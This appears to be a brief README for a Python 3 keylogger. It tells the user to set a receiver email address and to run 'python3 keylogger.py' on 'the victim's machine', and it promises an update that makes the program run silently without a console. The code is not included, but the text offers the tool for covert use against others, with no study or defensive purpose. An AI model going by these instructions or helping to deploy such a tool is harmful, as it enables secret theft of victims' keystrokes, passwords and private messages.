You can just remove the receiver address and then get started using this small but powerfull keylogger program made with python3.
The sender address is by your wish, you can leave as it is or change it on your own.
just run on the victim's machine as,
python3 keylogger.py
Coming updates:
Run this keylogger silently or without the running console. {You can also prefer to google this as many tools help you run your python file without console} ....
{ Stay #Tuned }